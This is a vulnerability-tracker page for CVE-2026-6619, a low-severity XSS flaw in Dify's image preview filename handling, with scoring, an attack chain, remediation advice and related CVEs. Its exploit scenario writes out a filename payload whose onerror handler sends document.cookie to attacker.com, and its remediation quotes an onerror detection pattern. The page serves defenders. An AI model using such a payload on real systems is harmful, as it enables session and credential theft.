Skip to main content

Dify CVE-2026-6619

| EUVDEUVD-2026-23809 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulDB
2.0
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Dify platform
  2. Delivery
    Craft malicious filename with XSS payload
  3. Exploit
    Upload image with crafted name
  4. Execution
    Trigger openInNewTab action
  5. Persist
    Malicious script executes in victim's session
  6. Impact
    Steal credentials or manipulate application state

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated user account (PR:L) with permission to upload images to Dify's image uploader component. The attacker must craft a filename containing XSS payload and upload it as an image asset. User interaction (UI:R) is mandatory-another user must click the 'Open in New Tab' action or trigger the openInNewTab function in the ImagePreview component for the payload to execute. The filename field must be passed unsanitized from the upload handler to the DOM or URL construction in openInNewTab without HTML encoding or JavaScript escaping. Default Dify deployments with image upload enabled are vulnerable; organizations that have disabled the image uploader or use a reverse proxy with strict input validation on filenames may reduce (but not eliminate) risk if the proxy blocks common XSS patterns. Authentication and user interaction are the primary limiting factors-unauthenticated attackers cannot exploit this directly.

Impact

This vulnerability presents a moderate but contained real-world risk despite its low CVSS score (3.5). The CVSS vector shows network accessibility (AV:N) and low attack complexity (AC:L), but the requirement for authenticated access (PR:L) and user interaction (UI:R) significantly reduces exploitation frequency. The EPSS metric is not provided, but the low CVSS combined with authentication barriers suggests this is not a critical internet-wide risk. However, the public availability of exploit code and vendor non-responsiveness elevate concern for targeted attacks against specific Dify deployments, particularly in multi-tenant SaaS environments where attackers could craft malicious image filenames to compromise other users' sessions. The CVSS Environmental modifier (E:P/RL:X/RC:R) reflects that proof-of-concept code is public and reliability is reasonable, suggesting exploitation will increase as awareness spreads. For organizations running Dify as a shared platform (AI application builder, prompt management, etc.), this warrants prioritized patching to prevent credential theft, session hijacking, or lateral movement via XSS payloads. The integrity-only impact (I:L) rather than confidentiality/availability breach suggests this is not a 'lights-out' incident but a meaningful security gap that should not be deferred.

Exploit ScenarioDerived

An authenticated user uploads an image to a Dify application (e.g., a knowledge base document or prompt builder asset) with a crafted filename containing JavaScript (e.g., 'image<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">.png'). When another user or the same user clicks 'Open in New Tab' or hovers over the image preview (depending on when openInNewTab is triggered), the malicious script executes in their browser context, exfiltrating session cookies, OAuth tokens, or prompts being developed. If the application stores sensitive API keys or model configurations accessible via the DOM, the attacker gains access to those credentials.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 20, 2026

Cross-site scripting in Dify's ImagePreview component (web/app/components/base/image-uploader/image-preview.tsx) allows authenticated users to inject malicious scripts via the filename argument in the openInNewTab function, affecting versions up to 1.13.3. The vulnerability requires user interaction (UI:R) and authenticated access (PR:L), limiting impact to low integrity compromise with no confidentiality or availability impact. Publicly available exploit code exists; vendor has not responded to early disclosure.

RemediationAI

Upgrade Dify to a version released after the vendor's response to this disclosure; exact patched version not confirmed from available data - check the Dify GitHub repository (https://github.com/langgenius/dify) for releases dated after the CVE publication or review pull requests addressing CWE-79 in the ImagePreview component. In the immediate term, implement input validation and output encoding in the openInNewTab function to HTML-encode or URI-encode the filename parameter before rendering it in DOM or constructing URLs; this prevents script injection while preserving legitimate filenames with special characters. Apply a Content Security Policy (CSP) header with script-src directive set to 'self' and a nonce-based or hash-based approach to restrict inline script execution, mitigating XSS payloads even if filename sanitization is bypassed. If using Dify in a multi-tenant environment, segregate user sessions with frame-ancestry or X-Frame-Options headers to limit session hijacking scope. Monitor image upload logs for suspicious filenames containing script tags or event handlers (e.g., '<img src=x onerror=alert()>') and block uploads matching such patterns. These controls carry minimal performance overhead but require coordination with development and security teams to deploy.

Affected VersionsENISA

dify 1.13.1
dify 1.13.0
dify 1.13.2
dify 1.13.3

Affected Packages

euvd dify no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The ImagePreview component in Dify's web application fails to properly sanitize the filename parameter before using it in the openInNewTab function, leading to stored or reflected cross-site scripting (CWE-79). Dify is a large language model (LLM) application development platform written in React/TypeScript. The vulnerable code path accepts user-controlled filename input-likely from image metadata or upload form fields-and inserts it unsanitized into DOM operations or URL construction without HTML encoding or Content Security Policy (CSP) protections. The attack surface is the image upload and preview functionality, a common user-facing feature in web applications. CPE cpe:2.3:a:langgenius:dify identifies the Dify application by Langgenius across all versions up to and including 1.13.3.

Know when Dify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

6
Severity Changed
Apr 29, 2026 - 01:12 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:12 NVD
5.1 (MEDIUM) 2.0 (LOW)
PoC Detected
Apr 29, 2026 - 01:00 vuln.today
Public exploit code
Severity Changed
Apr 20, 2026 - 09:37 NVD
LOW MEDIUM
CVSS changed
Apr 20, 2026 - 09:37 NVD
3.5 (LOW) 5.1 (MEDIUM)
CVE Published
Apr 20, 2026 - 08:00 nvd
LOW 2.0

DescriptionCVE.org

A vulnerability has been found in langgenius dify up to 1.13.3. Impacted is the function openInNewTab of the file web/app/components/base/image-uploader/image-preview.tsx of the component ImagePreview. The manipulation of the argument filename leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Dify

View all
CVE-2025-63387 HIGH POC
7.5 Dec 18

Dify 1.9.1 permits unauthenticated remote GET requests to the /console/api/system-features console endpoint, letting ano

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

CVE-2026-41948 CRITICAL POC
9.3 May 18

Path traversal in Dify versions 0 through 1.14.1 allows authenticated tenants to escape their authorized tenant path and

CVE-2026-41947 CRITICAL POC
9.3 May 18

Cross-tenant authorization bypass in LangGenius Dify versions through 1.14.1 lets any logged-in editor reroute another t

CVE-2025-1796 HIGH POC
8.8 Mar 20

A vulnerability in langgenius/dify v0.10.1 allows an attacker to take over any account, including administrator accounts

CVE-2026-61461 HIGH POC
8.7 Jul 10

SQL injection in Dify's MyScale vector store backend (versions before 1.16.0-rc1) lets authenticated attackers execute a

CVE-2025-67732 HIGH POC
8.4 Jan 05

Plaintext exposure of third-party service API keys in Dify prior to version 1.11.0 allows any authenticated non-administ

CVE-2026-41949 HIGH POC
8.2 May 18

Cross-tenant document disclosure in Dify 1.14.1 and prior allows any authenticated user to read up to 3,000 characters o

CVE-2024-12039 HIGH POC
8.1 Mar 20

langgenius/dify version v0.10.1 contains a vulnerability where there are no limits applied to the number of code guess a

CVE-2024-12776 HIGH POC
8.1 Mar 20

In langgenius/dify v0.10.1, the `/forgot-password/resets` endpoint does not verify the password reset code, allowing an

CVE-2025-43862 HIGH POC
7.6 Apr 25

Dify is an open-source LLM app development platform. Rated high severity (CVSS 7.6), this vulnerability is remotely expl

CVE-2024-11824 HIGH POC
7.6 Mar 20

A stored cross-site scripting (XSS) vulnerability exists in langgenius/dify version latest, specifically in the chat log

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy